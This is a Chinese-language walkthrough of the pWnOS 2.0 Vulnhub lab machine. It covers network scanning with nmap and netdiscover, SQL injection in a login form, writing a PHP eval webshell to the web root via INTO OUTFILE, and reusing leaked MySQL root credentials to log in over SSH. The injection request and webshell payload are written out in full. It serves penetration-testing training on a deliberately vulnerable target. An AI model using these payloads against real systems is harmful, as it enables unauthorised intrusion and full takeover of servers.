
准备工作
靶机基本信息
靶机名称:pWnOS 2.0
操作系统:Linux
虚拟机软件:VMware Workstation
网络连接方式:
NAT或Host-only渗透测试目标:获取靶机交互式Shell和
root权限(无Flag文件)
环境配置
根据Vulnhub上的靶机信息说明,该靶机采取了固定IP配置。当虚拟机导入完成时,需要增加一块虚拟网卡,将其网段配置为10.10.10.0/24,网关地址为10.10.10.15,连接方式为NAT 。同时,需要将攻击机也切换到相同的虚拟网卡和网段。
靶机的网络配置如下:

虚拟网卡配置如下:

信息收集
IP地址发现
在Kali Linux中,使用netdiscover命令发现网段内主机。命令如下:
shell
netdiscover -r 10.10.10.0/24

如图,10.10.10.15为网关地址,10.10.10.1和10.10.10.254不太可能是靶机地址,所以靶机IP地址为10.10.10.100。
防火墙探测
得知靶机IP地址之后,我们可以通过ICMP进行简单的连通性探测:
Text
┌──(root㉿hacker)-[/home/hacker]
└─# ping -c 4 10.10.10.100
PING 10.10.10.100 (10.10.10.100) 56(84) bytes of data.
64 bytes from 10.10.10.100: icmp_seq=1 ttl=64 time=1.78 ms
64 bytes from 10.10.10.100: icmp_seq=2 ttl=64 time=0.848 ms
64 bytes from 10.10.10.100: icmp_seq=3 ttl=64 time=0.828 ms
64 bytes from 10.10.10.100: icmp_seq=4 ttl=64 time=0.921 ms
--- 10.10.10.100 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 0.828/1.094/1.782/0.398 ms
接下来使用Nmap进行探测:
shell
nmap -sF -T3 -p- 10.10.10.100

由此得知靶机存在防火墙,且只允许外部IP访问22、80两个端口,未过滤ICMP包。
网络服务扫描
得知靶机的防火墙状态之后,我们扫描一下详细的服务信息。
shell
nmap -sS -sV -A -p- -oN ./tcp_result.txt 10.10.10.100

由此得知靶机的开放端口信息如下:
| 端口 | 传输层协议 | 应用层协议 | 详细信息 |
|---|---|---|---|
| 22 | TCP | SSH | OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0) |
| 80 | TCP | HTTP | Apache httpd 2.2.17 ((Ubuntu)) |
同时得知靶机操作系统为Ubuntu Linux,内核版本大概在2.6.32到2.6.39之间。
服务探测
SSH服务(22端口)
使用nc工具确定Banner信息:
Text
┌──(root㉿hacker)-[/home/hacker]
└─# nc -nv 10.10.10.100 22
(UNKNOWN) [10.10.10.100] 22 (ssh) open
SSH-2.0-OpenSSH_5.8p1 Debian-1ubuntu3
HTTP服务(80端口)
使用Firefox浏览器打开网址http://10.10.10.100/:

主页上有注册和登录页面的链接,除此之外有一个邮箱地址admin@isints.com,就没有其它东西了。
点击Login链接,发现登录网站时貌似需要使用邮箱地址:

先用dirsearch工具扫描一下网站目录:
shell
# -x 排除状态码
dirsearch -u http://10.10.10.100/ -x 403,404

可以看到网站内有如下页面:
/activate=> 跳转至主页面/blog=> 网站博客系统/include=> 网站配置信息目录/login=> 网站登录功能目录/register=> 网站注册功能目录/info=> PHPInfo页面info.php=> PHPInfo页面login.php=> 网站登录页register.php=> 网站注册页
访问http://10.10.10.100/login.php,打开登录页面,随便填写用户和密码,然后打开BurpSuite拦截:

由此可以确定网站登录页面的路由信息:email参数为用户的邮箱,pass为用户的密码信息。
既然如此,那么就尝试在两个参数最后加英文引号,进行SQL注入探测:

快啊,很快啊(大喜
发现SQL语句为:
SQL
SELECT * FROM users WHERE email='/*{用户名}*/' AND pass='/*{MD5密码值}*/' AND active IS NULL
还发现了网站绝对路径为/var/www/,MySQL版本为5.1.54-1ubuntu4等大量敏感信息。。。
而且看上去网站并未将英文引号转义,因此我们可以先使用INTO OUTFILE语句尝试向/var/www目录写入somepic.html文件:
Text
email=furina_i_love_you'+union+select+null,null,null,null,null,null,null,'<img%20src=https://upload-bbs.miy......21840740667034.jpg%20width=50%>'+into+outfile+'/var/www/somepic.html'-- -&pass=sxsaxsdfgvebrhgs&submit=Login&submitted=TRUE
看起来非常成功:

然后就是直接写入PHP一句话木马:
Text
email=furina_i_love_you'+union+select+'','','','','','','','<?php%20@eval($_REQUEST[code]);%20?>'+into+outfile+'/var/www/shell.php'-- -&pass=sxsaxsdfgvebrhgs&submit=Login&submitted=TRUE
使用中国蚁剑软件连接:

连接上网页木马之后,双击新增的条目,查看PHP网站程序:

现在为了进一步渗透,我们需要进行代码审计,目标是找出MySQL登录凭证,并尝试在SSH上登录。首先查看login.php文件:

可以看到login.php首先包含了./include/config.inc.php等文件 ,随后将$_GET、$_POST、$_COOKIE三个超级全局变量数组中的每一个值进行了转义,然后才进入登录判断流程。但可疑的是在登录流程的第一步又使用require_once()函数包含了一个名为MYSQL的常量。
接下来我们查看/var/www/includes/config.inc.php文件:

可以看到在该文件24行使用define()函数定义了一个名为MYSQL的常量,其值为../mysqli_connect.php。
我们回到/var/www/login.php文件中,将该常量的字符串值带入第25行的require_once()函数:
PHP
<?php
require_once('../mysqli_connect.php')
?>
也就是说,/var/www/login.php包含的真实MySQL配置文件其实为/var/mysqli_connect.php,网站目录/var/www下的mysqli_connect.php文件只是一个陷阱。
我们在窗口左侧点击返回/var目录,点击该目录下的mysqli_connect.php文件查看:

可以得到如下登录凭证:
- 用户名:
root - 密码:
root@ISIntS
打开Termius软件,尝试登录SSH:

遥遥领先!!! 看来已经用不着提权了(♡ര‿ര)
